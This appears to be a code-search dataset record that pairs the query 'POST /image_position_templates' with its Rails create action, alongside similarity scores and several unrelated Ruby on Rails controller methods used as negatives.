"def create\n @admin_kpi_template = Admin::KpiTemplate.new(params[:admin_kpi_template])\n\n respond_to do |format|\n if @admin_kpi_template.save\n format.html { redirect_to @admin_kpi_template, notice: 'Kpi template was successfully created.' }\n format.json { render json: @admin_kpi_template, status: :created, location: @admin_kpi_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_kpi_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @template2 = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template2 }\n end\n end",
"def new\n @moretinymap = Moretinymap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @moretinymap }\n end\n end",
"def tiny_new\n @photo = Photo.new\n render :action => \"tiny_new\", :layout => \"window\"\n end",
"def new\n @edited << 'new'\n @expanded << 'new'\n\n respond_to do |format|\n format.html { render template: 'shared/new' }\n format.js { render 'reference_type' }\n format.json { render json: @reference_type }\n end\n end",
"def new\n @map_image = MapImage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @map_image }\n end\n end",
"def new\n @t = T.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @t }\n end\n end",
"def new\n @user_position = UserPosition.new\n @positions = Position.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_position }\n end\n end",
"def create\n @my_template = MyTemplate.new(my_template_params)\n\n respond_to do |format|\n if @my_template.save\n format.html { redirect_to @my_template, notice: 'My template was successfully created.' }\n format.json { render :show, status: :created, location: @my_template }\n else\n format.html { render :new }\n format.json { render json: @my_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @position = Position.new\n @organisational = Dictionary.find(:all, :order => \"place ASC\", :conditions => {:indicator => 1})\n @functional = Dictionary.find(:all, :conditions => { :indicator => 2 })\n @method = Dictionary.find(:all, :conditions => { :indicator => 3 })\n @leadership = Dictionary.find(:all, :conditions => { :indicator => 4 })\n @social = Dictionary.find(:all, :conditions => { :indicator => 5 })\n\n 1.times { @position.organisationals.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @position }\n end\n end",
"def new\n @spawner = Spawner.new\n @fieldtrips = Fieldtrip.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spawner }\n end\n end",
"def create\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.new(params[:admin_kpi_category_template])\n\n respond_to do |format|\n if @admin_kpi_category_template.save\n format.html { redirect_to @admin_kpi_category_template, notice: 'Kpi category template was successfully created.' }\n format.json { render json: @admin_kpi_category_template, status: :created, location: @admin_kpi_category_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_kpi_category_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @board = Board.new_with_initial_items\n @template = Template.find(1)\n session[:board] = @board\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @board }\n end\n end",
"def create\n authorize! :manage, :all\n @question_template = QuestionTemplate.new(question_template_params)\n\n respond_to do |format|\n if @question_template.save\n format.html do redirect_to question_template_path(@question_template),\n notice: 'Question template was successfully created.'\n end\n format.json { render action: 'show', status: :created, location: @question_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @quest_template = QuestTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quest_template }\n end\n end",
"def create\n @track_template = TrackTemplate.new(track_template_params)\n\n respond_to do |format|\n if @track_template.save\n format.html { redirect_to @track_template, notice: 'Track template was successfully created.' }\n format.json { render :show, status: :created, location: @track_template }\n else\n format.html { render :new }\n format.json { render json: @track_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @config_template = ConfigTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @config_template }\n format.xml { render :xml => @config_template }\n end\n end",
"def new\n @pinimage = Pinimage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pinimage }\n end\n end",
"def new\n @move = Move.new\n @home_templates = HomeTemplate.all\n # @move.build_to_address\n # @move.build_from_address\n respond_to do |format|\n format.html {render layout: 'no_sidebar' }\n format.json { render json: @move}\n end\n end"
] |
[
"0.74638766",
"0.69190323",
"0.68910676",
"0.66938114",
"0.6672162",
"0.66231436",
"0.6608281",
"0.6594944",
"0.65694916",
"0.65694916",
"0.65694916",
"0.64584553",
"0.6456591",
"0.641446",
"0.6414122",
"0.63989407",
"0.6364294",
"0.63399637",
"0.6293575",
"0.62831295",
"0.6281781",
"0.6279621",
"0.62665665",
"0.62649214",
"0.62188464",
"0.6216947",
"0.6216302",
"0.62049466",
"0.61923224",
"0.6182791",
"0.6179551",
"0.6167343",
"0.61656815",
"0.61651033",
"0.6156148",
"0.6156148",
"0.6150619",
"0.61479175",
"0.6136422",
"0.6131131",
"0.6105732",
"0.6101105",
"0.6097906",
"0.6095471",
"0.6092778",
"0.60859567",
"0.6084607",
"0.6070578",
"0.6070216",
"0.60692245",
"0.6064879",
"0.6064657",
"0.6060523",
"0.6053351",
"0.60447323",
"0.6035761",
"0.6030507",
"0.6021857",
"0.60031",
"0.59890056",
"0.59883434",
"0.59667736",
"0.59659463",
"0.59642863",
"0.5961054",
"0.5954528",
"0.59490436",
"0.5946456",
"0.5946456",
"0.5946456",
"0.5946456",
"0.5946456",
"0.5946456",
"0.59405357",
"0.593818",
"0.5934186",
"0.5930099",
"0.59253865",
"0.59179187",
"0.59153295",
"0.59109575",
"0.58942294",
"0.58926827",
"0.5887559",
"0.58870935",
"0.5883071",
"0.5880335",
"0.58738416",
"0.58709043",
"0.58696216",
"0.5863401",
"0.58616036",
"0.5856309",
"0.5845002",
"0.58373064",
"0.5836128",
"0.5835601",
"0.58232677",
"0.58227086",
"0.58203465"
] |
0.81139064
|
0
|
POST /image_position_templates POST /image_position_templates.json
|
def create
@image_position_template = ImagePositionTemplate.new(params[:image_position_template])
respond_to do |format|
if @image_position_template.save
format.html { redirect_to @image_position_template, notice: 'Image position template was successfully created.' }
format.json { render json: @image_position_template, status: :created, location: @image_position_template }
else
format.html { render action: "new" }
format.json { render json: @image_position_template.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @position = Position.new(position_params)\n respond_to do |format|\n if @position.save\n @position.create_images(params[:images]) if params[:images]\n format.html { redirect_to @position, notice: 'Position was successfully created.' }\n format.json { render :show, status: :created, location: @position }\n else\n format.html { render :new }\n format.json { render json: @position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @image_position_template = ImagePositionTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_position_template }\n end\n end",
"def create\n @template_position = TemplatePosition.new(template_position_params)\n\n respond_to do |format|\n if @template_position.save\n format.html { redirect_to @template_position, notice: 'Template position was successfully created.' }\n format.json { render :show, status: :created, location: @template_position }\n else\n format.html { render :new }\n format.json { render json: @template_position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @image_position_templates = ImagePositionTemplate.ordered\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @image_position_templates }\n end\n end",
"def template_position_params\n params.require(:template_position).permit(:title, :price_item_id, :template_id, :template_item_id, :order)\n end",
"def template_params\n params.require(:template).permit(:name, :template_type, :template_sub_type, \n { uploaded_file_attributes: [:assets, :id] }, { thumbnail_image_attributes: [:assets, :id] } )\n end",
"def create\n @committee_position = CommitteePosition.new(committee_position_params)\n\n if @committee_position.image_url.include? \"/\"\n fullImage = @committee_position.image_url.split('/')\n\n @committee_position.image_url = fullImage[fullImage.length-1]\n\n end\n respond_to do |format|\n if @committee_position.save\n flash[:success] = \"Committe Position Created.\"\n format.html { redirect_to committee_positions_path }\n format.json { render action: 'index', status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @committee_position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def template_params\n params.require(:template).permit(:name, elements: [:type, :ordinal])\n end",
"def create\n @position = Position.new(params[:position])\n positions = Position.find(:all, :conditions => [\"layout_template_id = ?\",params[:position][:layout_template_id]])\n if positions.size == 0\n @position.main_position = true\n else\n @position.main_position = false\n end\n\n render :update do |page|\n if @position.save\n page.insert_html :after, \"layout_template_#{@position.layout_template_id}\", :partial => \"positions/row_form\",\n :locals => {:position => @position, :counter => LayoutTemplate.find(:all).index(@position.layout_template)}\n end\n end\n end",
"def create\n @question_template = QuestionTemplate.new(params[:question_template])\n params[:files].each_pair do |field_name, file|\n unless file.original_filename.empty?\n @question_template.send \"#{field_name}=\", file.original_filename\n end\n end\n\n respond_to do |format|\n if @question_template.save\n @question_template.upload_files(params[:files].values)\n\n format.html { redirect_to [:admin,@question_template], notice: 'Question template was successfully created.' }\n format.json { render json: @question_template, status: :created, location: @question_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_template_position\n @template_position = TemplatePosition.find(params[:id])\n end",
"def update\n @image_position_template = ImagePositionTemplate.find(params[:id])\n\n respond_to do |format|\n if @image_position_template.update_attributes(params[:image_position_template])\n format.html { redirect_to @image_position_template, notice: 'Image position template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image_position_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @image_position_template = ImagePositionTemplate.find(params[:id])\n @image_position_template.destroy\n\n respond_to do |format|\n format.html { redirect_to image_position_templates_url }\n format.json { head :no_content }\n end\n end",
"def show\n @image_position_template = ImagePositionTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image_position_template }\n end\n end",
"def update_template_with_image_id(template)\n params = template.parameters\n params.each do |key, value|\n update_params_with_image_id(params, key, value)\n end\n end",
"def create\n @template = Template.new(template_params)\n @template.last_execute_at = nil\n @template.status = 100\n @template.count = 0\n respond_to do |format|\n if @template.save\n current_user.templates.push(@template)\n current_user.save\n #format.html { redirect_to @template, notice: 'Template was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @template }\n format.json { render json: @template, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_image_template\n @image_template = ImageTemplate.find(params[:id])\n end",
"def create\n @logistic_order_template = LogisticOrderTemplate.new(logistic_order_template_params)\n\n if @logistic_order_template.save\n render :show, status: :created, location: @logistic_order_template\n else\n render json: @logistic_order_template.errors, status: :unprocessable_entity\n end\n end",
"def update_positions\n params[\"edit_template_area_#{params[:id]}\"].each_with_index do |id, position|\n TemplateBox.update(id, :position => position)\n end\n init_template_areas\n #render :layout => false,\n # :partial => \"template_area\",\n # :object => @template_areas.find{|a| a.id == params[:id].to_i} #TODO Dry it\n flash[:notice] = \"Reihenfolge gespeichert\"\n render :update do |page|\n page.reload\n end\n end",
"def create_positions\n create_player_position\n create_target_position\n create_select_position\n create_object_position\n end",
"def template_map\n \n end",
"def template_params\n params.require(:template).permit(:name, :path, elements: [:key, :type, :content])\n end",
"def create\n\n post = Post.new(post_params)\n post.location = Location.create(name: params[:post][:location][:name], lat: params[:post][:location][:lat], long: params[:post][:location][:long])\n if post.save\n params[:post][:images].each do |i|\n img = Image.find(i[:id])\n img.update(active: 1, post_id: post.id)\n end\n\n render json: {\n status: \"success\",\n data: post.as_json(\n include: [\n {\n user:\n {\n only: [:id, :name, :avatar]\n }\n },\n :location,\n {\n images: {\n only: [:id, :src]\n }\n },\n :rates\n ])}, status: :ok\n\n else\n render json: post.errors, status: 404\n end\n end",
"def create\n @template = Template.new(template_params)\n\n if @template.save\n render :show, status: :created, location: @template\n else\n render json: @template.errors, status: :unprocessable_entity\n end\n end",
"def create\n @exercise_template = ExerciseTemplate.new(exercise_template_params)\n\n if @exercise_template.save\n render json: @exercise_template, status: :created, location: @exercise_template\n else\n render json: @exercise_template.errors, status: :unprocessable_entity\n end\n end",
"def index\n @template_positions = TemplatePosition.all\n end",
"def create\n @favorite_template = FavoriteTemplate.new(favorite_template_params)\n @favorite_template.save\n render json: @favorite_template\n end",
"def item_template_params\n params.require(:item_template).permit(:id, :name, :description, :item_type, :strength, :intellect, :agility, :sell_cost,:buy_cost,:purchasable, :bag_template_id, :reward_template_id,\n image_attributes:[:id, :image_content, :type],\n resist_templates_attributes:[:id, :physical, :fire, :water, :earth, :holy, :necrotic, :nature, :item_template_id],\n attack_type_template_attributes:[:id, :name, :attack, :attack_type, :crit_chance, :crit_rate, :item_template_id])\n end",
"def position_params\n params.require(:position).permit(:updates, :category, :fb_id, :lon, :lat, :name, :description, :email, pictures: [:image])\n end",
"def create\n @node_template = NodeTemplate.new(params[:node_template])\n\n respond_to do |format|\n if @node_template.save\n format.html { redirect_to @node_template, notice: 'Node template was successfully created.' }\n format.json { render json: @node_template, status: :created, location: @node_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @node_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if (@selected_template.spree_slider_images.length+slider_image_params[:slider_image].length) > 5\n redirect_to :admin_slider_images , notice: \"Sorry more than 5 images can't be uploaded, Please Delete some old\"\n else\n #Spree::SliderImage.delay.put_slider_images(@selected_template,slider_image_params[:slider_image])\n respond_to do |format|\n if slider_image_params.size > 0\n slider_image_params[:slider_image].each do |img|\n @selected_template.spree_slider_images.create(:slider_image => img) #Spree::SliderImage.put_slider_images(@selected_template,img)\n end\n format.html { redirect_to admin_slider_images_url , notice: 'Slider image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @slider_image.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @template_photo = TemplatePhoto.new(template_photo_params)\n\n respond_to do |format|\n if @template_photo.save\n format.html { redirect_to @template_photo, notice: 'Template photo was successfully created.' }\n format.json { render :show, status: :created, location: @template_photo }\n else\n format.html { render :new }\n format.json { render json: @template_photo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @text_position = TextPosition.new(params[:text_position])\n\n respond_to do |format|\n if @text_position.save\n format.html { redirect_to @text_position, notice: 'Text position was successfully created.' }\n format.json { render json: @text_position, status: :created, location: @text_position }\n else\n format.html { render action: \"new\" }\n format.json { render json: @text_position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @custom_pet_template = CustomPetTemplate.new(custom_pet_template_params)\n\n uploaded_file = params[:custom_pet_template][:uploaded_file]\n if uploaded_file.nil?\n flash[:alert] = \"Please specify a file to upload.\" \n render action: 'new'\n return\n elsif Dimensions.width(uploaded_file.tempfile) > 48 || Dimensions.width(uploaded_file.tempfile) > 48\n flash[:alert] = \"Pet images cannot be larger than 48px x 48px\"\n render action: 'new'\n return\n end\n\n @custom_pet_template.uploader ||= current_user.id\n\n respond_to do |format|\n if @custom_pet_template.save\n @custom_pet_template.set_image(uploaded_file)\n format.html { redirect_to @custom_pet_template, notice: 'Custom pet template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @custom_pet_template, :uploader => current_user.id }\n else\n format.html { render action: 'new' }\n format.json { render json: @custom_pet_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_template\n self.template = \"template 14231\"\n end",
"def template_params\n params.fetch(:template, {}).permit([:title, :data])\n end",
"def create\n @gift_template = GiftTemplate.new(params[:gift_template])\n\n respond_to do |format|\n if @gift_template.save\n format.html { redirect_to gift_templates_path, notice: 'Gift template was successfully created.' }\n format.json { render json: @gift_template, status: :created, location: @gift_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gift_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lcb_image_position = LcbImagePosition.new(lcb_image_position_params)\n\n respond_to do |format|\n if @lcb_image_position.save\n format.html { redirect_to @lcb_image_position, notice: 'Lcb image position was successfully created.' }\n format.json { render :show, status: :created, location: @lcb_image_position }\n else\n format.html { render :new }\n format.json { render json: @lcb_image_position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def image_params\n params.require(:image).permit(:template_name, :image_type, :created_date, :account, :templateid, :os, :provision_script, :user_id)\n end",
"def create\n if pizzeria_params != nil && position_params != nil && creator_params != nil && tags_params != nil\n @position = Position.new(position_params[:position])\n @position.save\n if Creator.exists?(:firstName => creator_params[:creator][:firstName], :lastName => creator_params[:creator][:lastName])\n @creator = Creator.where(firstName: creator_params[:creator][:firstName], lastName: creator_params[:creator][:lastName]).first\n else\n @creator = Creator.new(creator_params[:creator])\n @creator.save\n end\n @pizzeria = Pizzerium.new(name: pizzeria_params[:name], position_id: @position.id, creator_id: @creator.id)\n \n if @pizzeria.save\n if tags_params[:pizzeria][:tags] != nil\n tags_params[:pizzeria][:tags].each do |t|\n if !Tag.exists?(:name => t[:name])\n tag = Tag.new(name: t[:name])\n tag.save\n else \n tag = Tag.where(name: t[:name]).first\n end\n \n pt = PizzeriaTag.new(pizzeria_id: @pizzeria.id, tag_id: tag.id)\n pt.save\n end\n end\n @tags = Array.new\n @pt = PizzeriaTag.where(pizzeria_id: @pizzeria.id)\n @pt.each do |t|\n @tags.push(Tag.find(t.tag_id)) \n end\n \n render 'create'\n else\n @message = \"Pizzerian gick inte att skapa.\"\n error400\n end\n else\n @message = \"Du har angett fel parametrar.\"\n error400\n end\n end",
"def create\n\n if current_user.nil?\n redirect_to '/'\n end\n\n if(params[\"labels\"].nil?)\n respond_to do |format|\n format.html { redirect_to image_label_sets_url, error: 'Labels not present.' }\n end\n return\n end\n\n @image_label_set = ImageLabelSet.new\n @image_label_set.name = params[\"name\"]\n @image_label_set.user_id = current_user.id\n save_success = @image_label_set.save\n\n params[\"labels\"].split(\",\").each do |l|\n lb = Label.new\n lb.text = l\n lb.image_label_set_id = @image_label_set.id\n lb.save\n end\n\n images_folder_path = Rails.root.join('public', \"images/#{@image_label_set.id}\")\n FileUtils::mkdir_p images_folder_path\n\n accepted_formats = [\".jpg\", \".png\", \".bmp\"]\n\n params[\"upload\"].each do |uf|\n #Check if zipfile, raw images or URL textfile\n if (File.extname(uf.tempfile.path)==\".txt\")\n Image.transaction do\n File.readlines(uf.tempfile.path).each do |line|\n i = Image.new\n i.url = line.strip\n i.image_label_set_id = @image_label_set.id\n i.save\n end\n end\n end\n uf.tempfile.close\n uf.tempfile.unlink\n end\n\n respond_to do |format|\n if save_success\n format.html { redirect_to @image_label_set, notice: 'Image label set was successfully created.' }\n format.json { render :show, status: :created, location: @image_label_set }\n else\n format.html { render :new }\n format.json { render json: @image_label_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_template = ItemTemplate.new(item_template_params)\n\n respond_to do |format|\n if @item_template.save\n format.html { redirect_to @item_template, notice: 'Item template was successfully created.' }\n format.json { render :show, status: :created, location: @item_template }\n else\n format.html { render :new }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n @user = current_user\n if params[:order_id]\n order = Order.find(params[:order_id])\n order.line_items.each do |item|\n product = Product.find(item.product_id)\n #@template = @user.templates.build(:product => product)\n @template = @user.add_product(product.id)\n if !@template.save\n format.html { render :action => \"new\" }\n format.xml { render :xml => @template.errors, :status => :unprocessable_entity }\n end\n end\n elsif params[:product_id]\n product = Product.find(params[:product_id])\n @template = @user.templates.build(:product => product)\n #@user.add_product(product.id)#Template.new(params[:template])\n if !@template.save\n format.html { render :action => \"new\" }\n format.xml { render :xml => @template.errors, :status => :unprocessable_entity }\n end\n end\n respond_to do |format|\n #if @template.save\n format.html { redirect_to(:back, :notice => 'Шаблоны добавлены') }#redirect_to(@template\n format.xml { render :xml => @template, :status => :created, :location => @template }\n #else\n # format.html { render :action => \"new\" }\n # format.xml { render :xml => @template.errors, :status => :unprocessable_entity }\n #end\n end\n end",
"def create\n @template = Template.new(template_params)\n current_user.templates << @template\n\n respond_to do |format|\n if current_user.save\n Field.all.each do |field|\n t_field = TemplateField.new(val: \"\")\n t_field.field = field\n t_field.template = @template \n t_field.save\n end\n format.html { redirect_to dashboard_path, notice: t('template_added') }\n else\n format.html { redirect_to dashboard_path, notice: @template.errors.full_messages[0]}\n end\n end\n end",
"def create\n if current_user && current_user.role == \"admin\" \n saved,@node,@revision = DrupalNode.new_node({\n :uid => current_user.uid,\n :title => params[:title],\n :body => params[:body],\n :type => \"map\",\n :main_image => params[:main_image]\n })\n\n if saved\n if params[:tags]\n params[:tags].split(',').each do |tagname|\n @node.add_tag(tagname,current_user)\n end\n end\n \n # save main image\n if params[:main_image] && params[:main_image] != \"\"\n img = Image.find params[:main_image]\n unless img.nil?\n img.nid = @node.id\n img.save\n end\n end\n\n @node.add_tag('lat:'+params[:lat],current_user)\n @node.add_tag('lon:'+params[:lon],current_user)\n \n map = DrupalContentTypeMap.new\n map.nid = @node.nid\n map.vid = @node.nid\n\n map.field_publication_date_value = params[:map][:field_publication_date_value]\n map.field_capture_date_value = params[:map][:field_capture_date_value]\n map.field_geotiff_url_value = params[:map][:field_geotiff_url_value]\n map.field_google_maps_url_value = params[:map][:field_google_maps_url_value]\n map.field_openlayers_url_value = params[:map][:field_openlayers_url_value]\n map.field_tms_url_value = params[:map][:field_tms_url_value]\n map.field_jpg_url_value = params[:map][:field_jpg_url_value]\n map.field_license_value = params[:map][:field_license_value]\n map.field_raw_images_value = params[:map][:field_raw_images_value]\n map.field_cartographer_notes_value = params[:map][:field_cartographer_notes_value]\n map.field_notes_value = params[:map][:field_notes_value]\n map.field_mbtiles_url_value = params[:map][:field_mbtiles_url_value]\n map.field_zoom_min_value = params[:map][:field_zoom_min_value]\n map.field_zoom_min_value ||= 17\n map.field_ground_resolution_value = params[:map][:field_ground_resolution_value]\n map.field_geotiff_filesize_value = params[:map][:field_geotiff_filesize_value]\n map.field_jpg_filesize_value = params[:map][:field_jpg_filesize_value]\n map.field_raw_images_filesize_value = params[:map][:field_raw_images_filesize_value]\n map.field_tms_tile_type_value = params[:map][:field_tms_tile_type_value]\n map.field_zoom_max_value = params[:map][:field_zoom_max_value]\n\n # need to create/delete these. Maybe best just make a new field, no need to store individual records\n #@node.drupal_content_field_map_editor\n #@node.drupal_content_field_mappers.collect(&:field_mappers_value).uniq.join(', ')\n \n ActiveRecord::Base.transaction do # in case only part of this completes\n if @node.save && @revision.save && map.save\n flash[:notice] = \"Edits saved.\"\n redirect_to @node.path\n else\n flash[:error] = \"Your edit could not be saved.\"\n render :action => :edit\n end\n end\n else\n flash[:error] = \"Your edit could not be saved.\"\n render :template => \"map/edit\"\n end\n else\n prompt_login \"Only admins can publish maps at this time.\"\n end\n end",
"def save_template(instance_id, tmpl_name)\n resp = create_image(instance_id, tmpl_name)\n if resp.status == 200\n resp.body['image']['id']\n else\n # TODO raise specific exc\n raise \"Failed to save vm #{instance_id} as template\"\n end\n end",
"def set_template\n end",
"def custom_pet_template_params\n params.require(:custom_pet_template).permit(:name, :image, :uploader, :recipient, :author, :rights)\n end",
"def add\n @object = JSON.parse(File.read(\"data/templates/#{params[:identifier]}.js\"))\n @object['identifier'] = \"#{@object['identifier']}_#{current_user.id}\"\n @template = Template.create! @object\n @template.identifier = \"#{@template.id}_#{@template.identifier}\"\n @template.status = 100\n @template.count = 0\n\n current_user.templates.push @template\n respond_to do |format|\n format.html { redirect_to @template }\n end if @template.save\n end",
"def create\n @attr_template = AttrTemplate.new(attr_template_params)\n\n respond_to do |format|\n if @attr_template.save\n format.html { redirect_to @attr_template, notice: 'Attr template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attr_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @attr_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_template = ItemTemplate.new(item_template_params)\n\n respond_to do |format|\n if @item_template.save\n format.html { redirect_to @item_template, notice: 'Item Template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post_template = PostTemplate.new(post_template_params)\n\n respond_to do |format|\n if @post_template.save\n format.html { redirect_to @post_template, notice: 'Post template was successfully created.' }\n format.json { render :show, status: :created, location: @post_template }\n else\n format.html { render :new }\n format.json { render json: @post_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def apply(template_image)\n self.scale\n\n image = Magick::ImageList.new(self.artwork.image.path)\n\n image[0].rotate!(rotation) unless rotation.nil?\n image.resize!(self.width, self.height)\n\n center_x = template_image.columns / 2\n crop_image!(image, center_x)\n\n self.image_x += template_image.columns / 2 if self.leg == 'right'\n\n # x_copies = (image[0].columns / template[0].columns).ceil\n # y_copies = (image[0].rows / template[0].rows).ceil\n\n # To be tiling, see http://www.imagemagick.org/RMagick/doc/ilist.html#mosaic\n # tiled = Magick::ImageList.new\n # page = Magick::Rectangle.new(0,0,0,0)\n # x_copies.times do |x|\n # y_copies.times do |y|\n\n # end\n # end\n\n design_image = template_image[0].composite(image, self.image_x, self.image_y, Magick::DstOverCompositeOp)\n\n if mirror\n design_image.flop!\n design_image.composite!(image, self.image_x, self.image_y, Magick::DstOverCompositeOp)\n design_image.flop!\n end\n\n intermediate_location = \"#{Dir.tmpdir}/#{SecureRandom.hex}.png\"\n design_image.write(intermediate_location)\n intermediate_location\n end",
"def create\n @mapimage = Mapimage.new(mapimage_params)\n\n respond_to do |format|\n if @mapimage.save\n format.html { redirect_to @mapimage, notice: 'Mapimage was successfully created.' }\n format.json { render :show, status: :created, location: @mapimage }\n else\n format.html { render :new }\n format.json { render json: @mapimage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def template_params\n params.require(:template).permit(:file, :description, :name, :html_content)\n end",
"def create\n\n @question_template = QuestionTemplate.new(question_template_params)\n\n respond_to do |format|\n if @question_template.save\n format.html { redirect_to @question_template, notice: 'Question template was successfully created.' }\n format.json { render :show, status: :created, location: @question_template }\n else\n format.html { render :new }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @taxi_image = TaxiImage.new(taxi_image_params)\n\n respond_to do |format|\n if @taxi_image.save\n format.html { redirect_to @taxi_image, notice: 'Taxi image was successfully created.' }\n format.json { render :show, status: :created, location: @taxi_image }\n else\n format.html { render :new }\n format.json { render json: @taxi_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @template = Spree::Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @template }\n else\n format.html { render action: 'new' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_template(template_name, template_fields)\n data = template_fields\n data[:template] = template_name\n self.api_post(:template, data)\n end",
"def template_params\n params.require(:template).permit(:selected,:theme_color,:template_no,:name, :variant_display_type, :is_allowed_custom_theme)\n #params[:template]\n end",
"def create\n @admin_kpi_template = Admin::KpiTemplate.new(params[:admin_kpi_template])\n\n respond_to do |format|\n if @admin_kpi_template.save\n format.html { redirect_to @admin_kpi_template, notice: 'Kpi template was successfully created.' }\n format.json { render json: @admin_kpi_template, status: :created, location: @admin_kpi_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_kpi_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def question_template_params\n params.require(:question_template).permit(:context_id, :name, :points_awarded)\n end",
"def create\n @loc_image = LocImage.new(loc_image_params)\n\n respond_to do |format|\n if @loc_image.save\n format.html { redirect_to @loc_image, notice: 'Loc image was successfully created.' }\n format.json { render action: 'show', status: :created, location: @loc_image }\n else\n format.html { render action: 'new' }\n format.json { render json: @loc_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @template_position.update(template_position_params)\n format.html { redirect_to @template_position, notice: 'Template position was successfully updated.' }\n format.json { render :show, status: :ok, location: @template_position }\n else\n format.html { render :edit }\n format.json { render json: @template_position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n positions = JSON.parse(params['positions'])\n\n # Fill in body to initialize the game and return a 200 response\n\n render plain: \"OK\"\n end",
"def template_upload(*paths)\n remote_path = paths.pop\n templates = []\n paths.collect! do |path| \n if StringIO === path\n path.rewind\n template = Rye::Tpl.new(path.read, \"inline-template\")\n elsif String === path\n raise \"No such file: #{Dir.pwd}/#{path}\" unless File.exists?(path)\n template = Rye::Tpl.new(File.read(path), File.basename(path))\n end\n template.result!(binding)\n templates << template\n template.path\n end\n paths << remote_path\n ret = self.file_upload *paths\n templates.each { |template| \n tmp_path = File.join(remote_path, File.basename(template.path))\n if file_exists?(tmp_path)\n mv tmp_path, File.join(remote_path, template.basename)\n end\n template.delete \n }\n ret\n end",
"def lcb_image_position_params\n params.require(:lcb_image_position).permit(:position, :begin_time, :sort_num, :link_url, :end_time, :title, :image_url, :owner_id, :create_uid, :write_uid, :id)\n end",
"def create\n @inspection_template = InspectionTemplate.new(inspection_template_params)\n\n respond_to do |format|\n if @inspection_template.save\n format.html { redirect_to @inspection_template, notice: 'Inspection template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @inspection_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @inspection_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(data)\n result = @client.api_request(:method => \"template.create\", :params => [data])\n result.empty? ? nil : result['templateids'][0].to_i\n end",
"def create\n params[:grid_template][:slug] = Time.now.to_i\n if current_site.grid_templates.create(params.require(:grid_template).permit(:name, :slug, :description))\n index\n else\n render inline: \"<div class='alert alert-danger'>#{t(\"admin.message.form_error\")}</div>\"\n end\n end",
